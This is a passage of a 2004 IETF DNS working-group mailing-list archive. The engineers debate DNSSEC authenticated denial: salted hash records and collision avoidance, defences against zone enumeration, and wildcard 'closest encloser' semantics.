<kre@munnari.OZ.AU> In-Reply-To: <5041.1094858659@munnari.OZ.AU> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk Robert, I think we have a seriously different understanding of how the hash things work --On 11 September 2004 06:24 +0700 Robert Elz <kre@munnari.OZ.AU> wrote: > | I'm lost. Let me do some CS/Math and then see if I have applied it > | without missing the point: > | > | If you have a set of labels X, and a set of labels Y where > | Y(i) = HASH ( X(i) , S, H) > | > | i.e. a hash of X(i) using salt S (the same for all values of i) and H > bit | hash, then, providing n(X) << 2^H, > > Well, you've already lost the "any zone" requirement with that > assumption, but it gets worse than that. I am saying for ANY given set X(i) (i.e. for any zone) you can (trivially) find a value S that produces a non-collinding Y(i). Yes, this non colliding S may be different depending on X(i) - i.e. depending on the zone. That just means there is a potential requirement for a different salt per zone if one wants to ensure non-colliding. > | it's trivially easy (and computationally > | efficient) to find a value S such that there are NO values i, j such > that | Y(i) = X(j) - I'll call that finding a non-colliding salt value > S such that | there are no collisions between the range and domain of > the hash function. > > I think you're relying upon probabilities, which doesn't work in a > situation like this. It does work. You just iterate. You can show that there is a binomial process and the expected number of iterations is 1 ------------ 2 n(X) ( 1 - ----- ) 2^H IE if n(X)< 2^(H-1) the expected number of iterations is less than two. Probabilities *do* work here as mathematically there is no finite chance of a loop (the Bloom filter stuff is clearly close enough here). Plenty of algorithms work this way. Remember this is done pre-signing - finding a non-colliding salt is far less computationally intensive than signing. It's only O(n) - (I wrote the case of that O correctly). > | One possible mechanism is simply to iterate through values of S chosen > | according to any cyclic algorithm with a cycle length >> n(X) (let's > say of | length 2^H or similar) - let's call the values S(1), S(2), > S(3) etc. - you | can show that you will find a first non-colliding > value S(c) in a | computationally small number of iterations (the > expected number of | iterations c is in essence 1, assuming n(X)<<2^H). > > All I need to do, is pick a name, any name, N, that exists in my zone, > and then for each potential S calculate HASH(N, S[i], H) and add that > name to my zone file. Now for name N, there's no possible S which > doesn't generate a conflict. > > How practical this is depends upon how big the range of possible salts is, > but practical or not, it is clearly possible. The number of bits in the > hash function is immaterial here (though as it gets bigger, the number of > possible salts must get less, as the total label length is limited). The number of potential S values is the size of the hash space. So whilst you are technically correct, all you are showing is that the assumption fails where n(X) is *not* considerably smaller than the zone. I think you can be even more critical than that, as from some brief calcs I did half asleep in bed last night, I think things start to go wrong when the (n(X) ^2) > 2^H (i.e. where the number of names is greater than the square root of half the size of the hash space). But we already know we need a large hash space if the thing is going to be resistant to attack. For a 32 bit hash, we can support zones of size 2^16. For a 64 bit hash, we can support zones of size 2^32. For a 128 bit hash, zones of size 2^64. For a 160 bit hash, zones of size 2^80. Assuming 5 bits per character (yes I know labels are really 8 bit but I am assuming caches on the way might incorrectly not be 8 bit clean), that's 4 characters, 13 characters, 26 characters and 32 characters respectively in the hash symbol. Given the choice of available hash lengths, I don't think we are losing much functionality by insisting the hash bits are at least 2 x log2(zonesize). A much MORE significant collision problem it seems to me is where two labels X(i), X(j) for which i!=j have the same hash value (i.e. Y(i)=Y(j) ). That too is going to call for another salt. I think that's going to be a greater driver to longer hash labels but I haven't yet worked the maths behind it out. I think it's probably the same. -- Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Simon Josefsson <jas@extundo.com> Subject: Re: dictionary attack on nameservers Date: Sat, 11 Sep 2004 14:25:41 +0200 Lines: 61 Sender: owner-namedroppers@ops.ietf.org References: <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> <11585.1094849973@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Sat Sep 11 14:42:13 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Injected-Via-Gmane: http://gmane.org/ To: namedroppers@ops.ietf.org Lines: 54 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:le+yylTkCg3rzgSNef/fOIlHw58= Precedence: bulk Robert Elz <kre@munnari.OZ.AU> writes: > Date: Fri, 10 Sep 2004 20:50:58 +0200 > From: Simon Josefsson <jas@extundo.com> > Message-ID: <ilusm9qarfx.fsf@latte.josefsson.org> > > | There are at least two solutions to that problem. > > no, there are no solutions for this problem in any proposal that requires > adding new names (attempts to steal some of the namespace) for any existing > RR type (the _tcp stuff in SRV records is annoying, but not fatal, as they're > relevant only to SRV lookups and don't prevent _tcp being used as a label > for any other RR types). Here's an idea to add another level of indirection to handle this: jim.foo. IN A alex.jim.foo. IN CNAME ... foo. IN NSECBISZONE _nix alex._nix.foo. IN NSECbis .... In other words, the part of the namespace that is stolen for NSECbis records can be chosen to avoid existing names. I'd agree with anyone who thinks this is complex. I don't believe stealing a part of the namespace for technical reasons, much like SRV does, is a problem. > | The first is to use salting to make sure there are no collisions. > > That doesn't work, you just collide with a different name. For any > name that you propose adding, I simply add the same name with whatever > RR types cause your proposal to have problems. Then I'll change the salt, to get another non-colliding name. I agree with Alex Bligh's discussion. Remember, you don't get to add new names after NSECbis records have been added. The NSECbis tool have the entire zone content, and can chose salt values to make sure there are no collisions. However, I have not been convinced that salting is necessary in the first place, since I don't consider colliding names a realistic problem. Same for offline dictionary attacks against the hash function. > | The second one is to place the NSECbis record in a separate name > | space. > > In this case the "separate name space" is the name that is the problem. I want to understand why. Please explain. What is the problem? Thanks, Simon -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Jacco Tunnissen <jacco@dnssec.net> Subject: Overview of DNSSEC Pilots and Projects Date: Mon, 13 Sep 2004 21:56:01 +0200 Lines: 44 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Mon Sep 13 22:14:21 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Content-Disposition: inline User-Agent: Mutt/1.4.2.1i X-Operating-System: FreeBSD Precedence: bulk Below is a current overview of the major DNSSEC projects, DNSSEC working groups, DNSSEC testbeds/pilots, and DNSSEC related projects. Kindly let me know if I missed anything. http://www.dnssec.net/projects.php DNSSEC PROJECTS and DNSSEC WORKING GROUPS IETF DNSEXT Working Group (DNS Security Extensions) - focus on rewriting DNSSEC standards IETF DNSOP Working Group (DNS Operations) - focus on developing guidelines for the operation of DNS servers RIPE NCC, DISI Working Group - Deployment of Internet Security Infrastructures, focus on DNSSEC NLNet Labs - DNSSEC Research & Development in the Netherlands DNSSEC Deployment Working Group - Community-based project, focus on implementation and deployment IDSA (Infrastructure DNSSEC et Applications) - DNSSEC Project in France Network Associates (NAI Labs) - Internet Infrastructure Protection (IIP) Project National Institute of Standards and Technology (NIST) - DNSSEC Project DNSSEC TESTBEDS and DNSSEC PILOTS NLnet Labs SECREG Testbed - DNSSEC testbed in the Netherlands (.nl) (no longer active) NIC-SE DNSSEC Testbed - DNSSEC Testbed in Sweden (.se) Root Server Testbed Network - coordinated, persistent facility to evaluate major changes to the DNS Verisign .net DNSSEC Pilot - provides an "off-path" signed image of the .net TLD zone (.net) Verisign Opt-In DNSSEC Pilot - DNSSEC Opt-In testbed (deprecated) Verisign DLV Registry Pilot - DNSSEC Lookaside Validation (DLV) testbed (.com/.net) DNSSEC RELATED PROJECTS CADDISC Project - Combining LDAP and DNSsec to distribute keys securely LADON - Distributed authentication for SSH using DNSSEC Openswan - IPsec for Linux, with support for DNSSEC Jacco Tunnissen -- DNSSEC - http://www.dnssec.net/ Securing the Domain Name System -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: was Re: dictionary attack on nameservers Date: Mon, 13 Sep 2004 16:28:34 -0400 Lines: 20 Sender: owner-namedroppers@ops.ietf.org References: <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> <11585.1094849973@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Simon Josefsson <jas@extundo.com>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 13 22:58:00 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <11585.1094849973@munnari.OZ.AU> To: Robert Elz <kre@munnari.OZ.AU> Precedence: bulk At 3:59 +0700 9/11/04, Robert Elz wrote: >Perhaps, but if people keep not understanding, there's little choice but >to keep on repeating. Eventually the message might get through. Or maybe trying to explain in a different manner. Perhaps one's words are being read within the same context that they are being written. ;) -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: thesaurus attack Date: Mon, 13 Sep 2004 16:38:55 -0400 Lines: 29 Sender: owner-namedroppers@ops.ietf.org References: <200409102214.i8AME9W17392@grimsvotn.TechFak.Uni-Bielefeld.DE> <27772.1094857274@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Peter Koch <pk@TechFak.Uni-Bielefeld.DE>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 13 22:58:23 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <27772.1094857274@munnari.OZ.AU> To: Robert Elz <kre@munnari.OZ.AU> Precedence: bulk At 6:01 +0700 9/11/04, Robert Elz wrote: >actually empty). For DNSSEC purposes (with me being no expert on that stuff) >as I understand it, the proofs need to involve the '*' record explicitly, >as there's no way to actually sign the fabricated RR returned (or not >without on-line keys) - so this is already an odd special case. On the first cut, authenticated denial ("DNSSEC purposes") doesn't require proof that there is no "*"/"wild card"/"source of synthesis," all that is needed is to prove that there are no matching RRsets to the query. The choice is to 1) customize the reply *message* to the query or 2) prove by showing that at each step of the 4.3.2 algorithm that name matches fail. Of course 1 means on-line keys, which is something the design of DNSSEC has tried hard to avoid. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Mon, 13 Sep 2004 16:47:27 -0400 Lines: 36 Sender: owner-namedroppers@ops.ietf.org References: <6D2BC836CD949E7C4EB3762D@[192.168.100.25]> <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> <11585.1094849973@munnari.OZ.AU> <5041.1094858659@munnari.OZ.AU> <FFB1F86C9CCF64DCF85A9C17@[192.168.100.25]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Mon Sep 13 22:59:23 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <FFB1F86C9CCF64DCF85A9C17@[192.168.100.25]> To: Alex Bligh <alex@alex.org.uk> Precedence: bulk I'm lost on the issue of "avoiding" collisions. I've been trying not to jump into this as we haven't set up the requirements (in a draft yet) for the problem, but: 1) What if authenticated denial was different for sets at an existing name than for name errors? I mean, in RFC 1034 returns "no error" if a name exists but data doesn't, and a "name error" if the name doesn't exist. 2) So, what if we take care of "no error, no data" by just using NSEC's like: owner NSEC owner <types it has> 3) For name errors, just return: H(owner1) NXD H(owner2) for any H(owner1) < H(query) < H (owner2)? The implications - the zone data no longer needs to be sorted (no lexical ordering of names). The table of hash records need not sully the data space, so who cares about collisions? Okay - maybe H(missing name) = H (owner3)...like I've said, I have been trying not to think about this until the time has come for the discussion on solutions. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: thesaurus attack Date: Mon, 13 Sep 2004 16:26:40 -0400 Lines: 90 Sender: owner-namedroppers@ops.ietf.org References: <a06020409bd677918a675@[192.168.1.100]> <a06020407bd64c0ca0a9b@[192.136.136.102]> <6191.1094692472@munnari.OZ.AU> <20843.1094846936@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 13 22:59:30 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <20843.1094846936@munnari.OZ.AU> To: Robert Elz <kre@munnari.OZ.AU> Precedence: bulk At 3:08 +0700 9/11/04, Robert Elz wrote: > | The first thing to realize is that by all definitions, subdomains of > | wild card domain names are legal. > >This makes no sense, sub-domains of a domain which is *.xxx are legal, >but if it (*.xxx) is being used as a wildcard, it ends any query, whether >or not the '*' might have sub-domains is irrelevant. I don't see a difference between what you are saying and what I had said. > > | The concept of "closest enclosing" existing names is important to keep in > | mind. > >Yes, though I'm not real sure I like that term - but I'm not sure what >would be a better one. If you imagine the name space as a two-dimensional field (like the Venn diagrams I learned sets from), domains would be nested. That's where the notion of "closest enclosure" comes from. It's not so clear if you think of the stick and node tree diagram. > | It is also important to realize that a wild card domain name can > | be a closest encloser of a query name. > >Not a wildcard domain, a '*' label. I think there's an obvious terminology problem. A wild card domain has become too overloaded I think, that's why I've floated "source of synthesis" or "synthesis source." The closest encloser is the smallest domain surrounding the query (search) name. The source of synthesis would be the domain inside the closest encloser that is identified by the label '*' - no matter whether there are other names in the "source of synthesis'" domain. > | and the query name is a.*.example., then the closest > | enclosing domain name is *.example. > >"... which is not a wildcard, but simply a domain". Given a query (name, type, class), there is a closest encloser and there may be a source of synthesis. The two can never be the same. But, what is a closest encloser for one query may be the source of synthesis for another query. (E.g., *.example.com could be the closest encloser for foo.*.example.com and it *could* be the source of synthesis for foo.example.com.) > | Recall that the closest encloser itself cannot be the wild card. > >This is a direct contradiction of what was said earlier ... I don't see that. "the wild card" = "source of synthesis" is what I meant. Perhaps if the interpretation is "wild card" means "*.something" yea. That's why I think we need to update the terminology. > It is also important to realize that a wild card domain name can > be a closest encloser of a query name. I thought that was what I was saying in Appendix A. >But if the lookup is algorithm is clear, none of this should be needed. >Just make it plain that it is possible for any string to be a domain >name label, including '*', and that those strings can match exactly against >the same string in the QNAME. I'm furrowing my brow now because I thought it was clear that the algorithm wasn't clear. ;) Implementations have diverged, as evidence... -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: thesaurus attack Date: Tue, 14 Sep 2004 04:30:38 +0700 Lines: 31 Sender: owner-namedroppers@ops.ietf.org References: <a0602040bbd6bb479d3e3@[192.136.136.102]> <200409102214.i8AME9W17392@grimsvotn.TechFak.Uni-Bielefeld.DE> <27772.1094857274@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: Peter Koch <pk@TechFak.Uni-Bielefeld.DE>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 13 23:40:23 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a0602040bbd6bb479d3e3@[192.136.136.102]> Precedence: bulk Date: Mon, 13 Sep 2004 16:38:55 -0400 From: Edward Lewis <edlewis@arin.net> Message-ID: <a0602040bbd6bb479d3e3@[192.136.136.102]> | >as I understand it, the proofs need to involve the '*' record explicitly, | | On the first cut, authenticated denial ("DNSSEC purposes") doesn't | require proof that there is no "*"/"wild card"/"source of synthesis," I'll reply to other messages later, but in the above, I wasn't talking about denial at all, but proof of legitimacy of a RR generated (synthesised) from a wildcard RR. That is, I lookup foobar.example. MX, which doesn't exist, but example. contains *.example. MX 10 whatever. That means the answer I get is foobar.example. MX 10 whatever. That RR needs to be authenticated, but there cannot be a SIG for it (or not without on-line keys). Without having attempted to find the actual answer to this, I'd assume that what is required is the *.example. record itself, its SIG, plus proof that foobar.example. doesn't exist - all being used as positive proof that the MX record in the answer section is indeed what it is supposed to be. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: thesaurus attack Date: Tue, 14 Sep 2004 07:45:04 +1000 Lines: 21 Sender: owner-namedroppers@ops.ietf.org References: <a06020409bd6bafedc34f@[192.136.136.102]> Cc: Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 13 23:52:24 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-reply-to: Your message of "Mon, 13 Sep 2004 16:26:40 -0400." <a06020409bd6bafedc34f@[192.136.136.102]> Precedence: bulk > >Yes, though I'm not real sure I like that term - but I'm not sure what > >would be a better one. > > If you imagine the name space as a two-dimensional field (like the > Venn diagrams I learned sets from), domains would be nested. That's > where the notion of "closest enclosure" comes from. It's not so > clear if you think of the stick and node tree diagram. deepest match / longest match -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: thesaurus attack Date: Tue, 14 Sep 2004 08:11:19 +1000 Lines: 57 Sender: owner-namedroppers@ops.ietf.org References: <28627.1095111038@munnari.OZ.AU> Cc: Edward Lewis <edlewis@arin.net>, Peter Koch <pk@TechFak.Uni-Bielefeld.DE>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 14 00:18:56 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Robert Elz <kre@munnari.OZ.AU> In-reply-to: Your message of "Tue, 14 Sep 2004 04:30:38 +0700." <28627.1095111038@munnari.OZ.AU> Precedence: bulk > Date: Mon, 13 Sep 2004 16:38:55 -0400 > From: Edward Lewis <edlewis@arin.net> > Message-ID: <a0602040bbd6bb479d3e3@[192.136.136.102]> > > | >as I understand it, the proofs need to involve the '*' record explicitly > , > | > | On the first cut, authenticated denial ("DNSSEC purposes") doesn't > | require proof that there is no "*"/"wild card"/"source of synthesis," > > I'll reply to other messages later, but in the above, I wasn't talking > about denial at all, but proof of legitimacy of a RR generated (synthesised) > from a wildcard RR. > > That is, I lookup foobar.example. MX, which doesn't exist, but example. > contains *.example. MX 10 whatever. That means the answer I get is > foobar.example. MX 10 whatever. That RR needs to be authenticated, but > there cannot be a SIG for it (or not without on-line keys). > > Without having attempted to find the actual answer to this, I'd assume that > what is required is the *.example. record itself, its SIG, plus proof that > foobar.example. doesn't exist - all being used as positive proof that the > MX record in the answer section is indeed what it is supposed to be. > > kre If * has data of the requested type then the RRSIG(type) for * + noqname proof (NSEC + RRSIG(NSEC)). If * has data but not of the requested type then NSEC for * + RRSIG(NSEC) + noqname proof. If * has no data but has children the NSEC that spans * + noqname proof. e.g. qname d.a.example a.example NSEC b.*.a.example (nodata proof, wildcard exists with nodata) b.*.a.example NSEC e.example (noqname proof, deepest match gives a.example -> *.a.example for wildcard) > -- > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: thesaurus attack Date: Mon, 13 Sep 2004 18:13:02 -0400 Lines: 28 Sender: owner-namedroppers@ops.ietf.org References: <200409132145.i8DLj4oR035480@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 14 00:22:53 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <200409132145.i8DLj4oR035480@drugs.dv.isc.org> To: Mark Andrews <Mark_Andrews@isc.org> Precedence: bulk At 7:45 +1000 9/14/04, Mark Andrews wrote: >> >Yes, though I'm not real sure I like that term - but I'm not sure what >> >would be a better one. >> >> If you imagine the name space as a two-dimensional field (like the >> Venn diagrams I learned sets from), domains would be nested. That's >> where the notion of "closest enclosure" comes from. It's not so >> clear if you think of the stick and node tree diagram. > > deepest match / longest match The reason I avoided those terms is that they are too lexically close to what's used in routing to mean the same thing, only completely differently. I.e., the most significant bit in an address is on the left, the most significant label is on the right. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: thesaurus attack Date: Tue, 14 Sep 2004 12:00:48 +0100 Lines: 39 Sender: owner-namedroppers@ops.ietf.org References: <a06020409bd677918a675@[192.168.1.100]> <a06020407bd64c0ca0a9b@[192.136.136.102]> <6191.1094692472@munnari.OZ.AU> <20843.1094846936@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 14 13:14:43 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Robert Elz <kre@munnari.OZ.AU> In-Reply-To: <20843.1094846936@munnari.OZ.AU> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Robert Elz wrote: > | The first thing to realize is that by all definitions, subdomains of > | wild card domain names are legal. > > This makes no sense, sub-domains of a domain which is *.xxx are legal, > but if it (*.xxx) is being used as a wildcard, it ends any query, whether > or not the '*' might have sub-domains is irrelevant. I find this very confusing. Are you saying that if *.xxx is being used as a wildcard, that's because the query didn't match any of the subdomains, and that's why they're irrelevant? > | To illustrate this, the following chart shows some matches. Assume that > | the names *.example., *.*.example., and *.sub.*.example. are defined > | in the zone. > > ... and that there are no other '*' labels in (or below) example. > (without that, some of the answers below might be wrong). You also need > to assume that various other domains don't exist (like a.example). It would probably best to present a complete zone file. Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: thesaurus attack Date: Tue, 14 Sep 2004 12:15:04 +0100 Lines: 47 Sender: owner-namedroppers@ops.ietf.org References: <200409101850.i8AIoej16946@grimsvotn.TechFak.Uni-Bielefeld.DE> <a0602040dbd67aa223024@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Peter Koch <pk@TechFak.Uni-Bielefeld.DE>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 14 13:22:20 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a0602040dbd67aa223024@[192.168.1.100]> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Edward Lewis wrote: > At 20:50 +0200 9/10/04, Peter Koch wrote: > >> there'd be a '*' label as an empty non-terminal. To avoid empty >> terminals, >> this should not instantiate '*.example.com' as a wildcard. However, that >> conflicts with step 3 of the algorithm in 1034. > > > Ahh, yeah, what about empty non-terminal '*' nodes in the tree and the > role they might play as a source of synthetic records. Sigh. > > I suppose if you read the very last paragraph of step 3, you would take > this to mean that any name matching an empty non-terminal '*' node would > result in a no error, no data return (neglecting the CNAME rules). Wouldn't this mean (since all nonexistent names match the '*') that there's a synthesized (or real) closest encloser for all names at that level. In other words, if a.*.example exists, then a query for x.y.example would cause y.example to be synthesized as the closest encloser? So, if the zone looked like: a.*.example TXT "1" *.example TXT "2" Then a query for x.y.example would yield NXDOMAIN (since y.example is an ENT). If a.*.example was not present, the result would be "2". Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Tue, 14 Sep 2004 13:37:56 +0100 Lines: 48 Sender: owner-namedroppers@ops.ietf.org References: <6D2BC836CD949E7C4EB3762D@[192.168.100.25]> <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> <11585.1094849973@munnari.OZ.AU> <5041.1094858659@munnari.OZ.AU> <FFB1F86C9CCF64DCF85A9C17@[192.168.100.25]> <a0602040cbd6bb6073163@[192.136.136.102]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 14 14:46:55 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a0602040cbd6bb6073163@[192.136.136.102]> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Edward Lewis wrote: > I'm lost on the issue of "avoiding" collisions. > > I've been trying not to jump into this as we haven't set up the > requirements (in a draft yet) for the problem, but: > > 1) What if authenticated denial was different for sets at an existing > name than for name errors? I mean, in RFC 1034 returns "no error" if a > name exists but data doesn't, and a "name error" if the name doesn't exist. > > 2) So, what if we take care of "no error, no data" by just using 